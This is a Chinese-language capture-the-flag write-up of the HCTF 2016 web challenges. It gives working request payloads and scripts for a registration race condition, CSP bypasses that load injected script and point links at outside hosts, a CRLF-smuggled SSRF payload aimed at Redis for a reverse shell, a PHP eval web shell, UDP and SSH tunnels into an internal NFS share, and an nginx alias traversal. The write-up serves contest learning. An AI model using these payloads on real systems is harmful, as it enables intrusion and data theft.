

2016 HCTF web writeup

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HCTF 2016 web-writeup

2099年的flag


only ios99 can get flag(Maybe you can easily get the flag in 2099)

改下ua:

```
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 99_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) V
```

RESTFUL

修改方式为put, 然后/money/100000



```
PUT /index.php/money/100000 HTTP/1.1
Host: jinjia.hctf.io
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://jinjia.hctf.io/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Connection: close

HTTP/1.1 200 OK
Date: Mon, 28 Nov 2016 04:36:50 GMT
Server: Apache/2.4.10 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Content-Length: 64
Connection: close
Content-Type: application/json

{"message": "Your flag is hctf{Do_you_know_12450?} web dog!"}
```

giliGili

```

<script type="text/javascript">
// Come on and get flag:>

var _ = { 0x4c19cff: "random", 0x4728122: "charCodeAt", 0x2138878: "substring", 0x3ca9c7b: "toS
var $ = [ 0x4c19cff, 0x3cfbd6c, 0xb3f970, 0x4b9257a, 0x1409cc7, 0x46e990e, 0x2138878, 0x1e1049,
var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z;
function check() {
    var answer = document.getElementById("message").value;
    var correct = (function() {
        try {
            h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32));
            e = h[_[$[""+ +[]]]()*((""++{})[_[0x4728122]](0xc); for(var _1=0; _1<h.mti; _1++) {
                l = new MersenneTwister(e), v = true;
                l.random(); l.random(); l.random();
                o = answer.split("_");
                i = l.mt[~~(h.random()*$[0x1f])%0xff];
                s = ["0x" + i[_[$[$.length/2]]](0x10), "0x" + e[_[$[$.length/2]]](0o20).split("-")]
                e -= (this[_[$[42]]](_[$[31]](o[1])) ^ s[0]); if (-e != $[21]) return false;
                e ^= (this[_[$[42]]](_[$[31]](o[2])) ^ s[1]); if (-e != $[22]) return false; e -= 0
                t = new MersenneTwister(Math.sqrt(-e));
                h.random();
                a = l.random();
                t.random();
                y = [ 0xb3f970, 0x4b9257a, 0x46e990e ].map(function(i) { return $[_[$[40]]](i)+ +1+
                    o[0] = o[0].substring(5); o[3] = o[3].substring(0, o[3].length - 1);
                    u = ~~~~~~(a * i); if (o[0].length > 5) return false;
                    a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](
                    r = (h.random() * l.random() * t.random()) / (h.random() * l.random() * t.random());
                    e ^= ~r;
                    r = (h.random() / l.random() / t.random()) / (h.random() * l.random() * t.random());
                    e ^= ~r;
                    a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1]; if (parseInt(a.split(
                    d = parseInt(a, 16) == (Math.pow(2, 16)+ -5+ "") + o[3].charCodeAt(o[3].length - 3)
                    i = 0xffff;
                    n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
                    g = 3;
                    t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0]
                    h = ((31249*g) & i).toString(16);
                    i = _[$[31]](o[3].split(f).join("") .substring(0, 2)).split("x")[1];
                    s = i == h;
                    return (p & t & s & d) === 1 || (p & t & s & d) === true;
                } catch (e) {
                    console.log("gg");
                    return false;
                }
            })();
        }
        document.getElementById("message").placeholder = correct ? "correct" : "wrong";
        if (correct) {
            alert("Congratulations! you got it!");
        } else {
            alert("Sorry, you are wrong...");
        }
    });
}
</script>

```

以前的一个ctf的题目：

https://github.com/sternze/CTF_writeups/blob/master/sCTF/2016_Q1/obfuscator/readme.md

=.=，过程还是很复杂的。不过总体来说就是为了满足一些条件从而反推出答案。

hctf{wh3r3_iz_y0ur_neee3eed??}

兵者多诡

zip协议包含文件。

必须比香港记者还要快

有一个http://changelog.hctf.io/README.md文件

- 2016.11.11

完成登陆功能，登陆之后在session将用户名和用户等级放到会话信息里面。

判断session['level']是否能在index.php查看管理员才能看到的**东西**。

XD

- 2016.11.10

老板说注册成功的用户不能是管理员，我再写多一句把权限降为普通用户好啰。

也就是注册的时候是管理员，然后再update降为管理员，最后再在index.php里面是进行SESSION判断。

```
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import uuid
import re
import threading

url = "http://changelog.hctf.io/register.php"
url1 = "http://changelog.hctf.io/login.php"
url2 = "http://changelog.hctf.io/index.php"

username = ""
session = ""

def sess():
    r = requests.get(url1)
    m = re.search('PHPSESSID=(.*?);', r.headers['Set-Cookie'])
    if m:
        return str(m.group(1))

def regist():
    global username, session
    while True:
        data = {
            'username' : username,
            'password' : '1',
            'gogogo' : '苟!',
        }
        cookie = {
            'PHPSESSID' : session
        }
```


竞争一下，在注册insert后，update降权前登陆进去就可以获得flag。

guestbook

有一个类似验证码的东西：

```
substr(md5($code),0,4) =='xxxx'
```

```
<?php
$a = $argv[1];
for($i=1;$i<1000000;$i++){
    if(substr(md5($i),0,4) == $a){
        echo $i;
        exit();
    }
}
echo "ok";
```

程序跑一跑就好了。

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com
```

通过预加载来绕过csp。

```
<scrscript>var n0t = document.createElement("lilinknk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("src", "http://guestbook.hctf.io/admin_lorexar.php")</scrscript>
```

```
[27/Nov/2016:14:02:29 +0800] "GET /aaat HTTP/1.1" 404 433 "http://guestbook.hctf.io/admin_lorexar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
```

secret area

也是一个csp。

```
Content-Security-Policy: default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj'
```

值的注意的点是：<http://sguestbook.hctf.io/static/>

必须要在这个目录下面加载。

解法一：

这个目录有一个redirect.php，利用跳转去加载。

```
<scscript src=http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/a32642750cae25f4c5b020d9a66c5c5c></scscrip
```

解法二：

```
<scscript src="http://sguestbook.hctf.io/static/..%2fupload/a32642750cae25f4c5b020d9a66c5c5c"></scscrip
```

其中upload的这个文件，是可以通过头像上传的。内容是：

```
var n0t = document.createElement("link");n0t.setAttribute("rel", "preload");n0t.setAttribute("href", "//ipi
```

AT field1

只要跳到127.0.0.1就可以了。改下解析ip，或者直接一个302跳转都行。

AT field2

内网里面存在一个redis。利用前面的urllib的host可以导致ssrf，进而攻击redis可以反弹一个shell。

<https://security.tencent.com/index.php/blog/msg/106>

```
http://192.168.0.10%25250d%25250a%252a3%25250d%25250a%2525243%25250d%25250aset%25250d%25250a%2525241%25250d
```

你没走过的套路

```
http://120.27.122.0/index.php~  
<?php  
echo "welcome to aklis's bowl";  
@eval($_GET['aklis']);
```

发现192.168.0.1开放了111、2049端口

因为nfs在挂载的时候会有一些udp包，代理等一些手段是不行的。

自己的服务器：

```
import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieived from {}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {} to {}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _ = sock_dst.recvfrom(65565)
    print('received: {} from {}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {}'.format(port))

sock_src.close()
sock_dst.close()
```

要拿的目标服务器

```

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('vps-ip', 11111)
dst_addr = ('192.168.0.1', 111)

while True:
    try:
        print('send OK to {}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src = sock_src.recvfrom(65565)
        print('send: {} to {}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {} from {}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

```

再把根据文章把3个端口转出来，111、892、2049

ps: 此题我转发了54280、40878、111、892、2049

```
ssh vps_ip -lroot -R111:120.27.122.0:111 -CNfg
```

=。=，值的注意的是，因为公网ip(120.27.122.0)是屏蔽了端口的，所以还是需要用python在shell上面去转发一下到vps，也就是192.168.0.1的2049转到vps-ip的2049，上面只是将120.27.122.0的111转发到本地的111

```
showmount -e 127.0.0.1
mount -t nfs -o noblock 127.0.0.1:/var/nfs /tmp/a
```

```
[root@iZ28cnimarpZ a]# showmount -e 127.0.0.1
Export list for 127.0.0.1:
/var/nfs *
[root@iZ28cnimarpZ a]# mount -t nfs -o noblock 127.0.0.1:/var/nfs /tmp/a
[root@iZ28cnimarpZ a]# ls
[root@iZ28cnimarpZ a]# cd /tmp/a
[root@iZ28cnimarpZ a]# ls
default.conf  flag  hacked_by_firesun
[root@iZ28cnimarpZ a]# cat flag
```

=。=，火日聚聚。

```
location ~ \.php$ {
    #proxy_pass      http://127.0.0.1;
    fastcgi_index  index.php;
    include fastcgi_params;
}

location /static {
    alias /var/www/static/;
    autoindex on;
}
```

然后nginx是/static是/var/www/static的别名，如果你访问了/static../
结果就是访问了/var/www/static/..，也就是static的上一级目录。

```
root@ubuntu:/tmp# proxychains curl "192.168.0.6/static../";
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|->-115.29.36.83:1080-><>-192.168.0.6:80-><>-OK
<html>
<head><title>Index of /static..</title></head>
<body bgcolor="white">
<h1>Index of /static..</h1><hr><pre><a href="/">...</a>
<a href="static/">static/</a>
<a href="hctf%7Bwo_gai_liu_tiao_huo_lu%7D">hctf{wo_gai_liu_tiao_huo_lu}</a>          24-Nov-2016 18:55
</pre><hr></body>                                         24-Nov-2016 19:06
</html>
```

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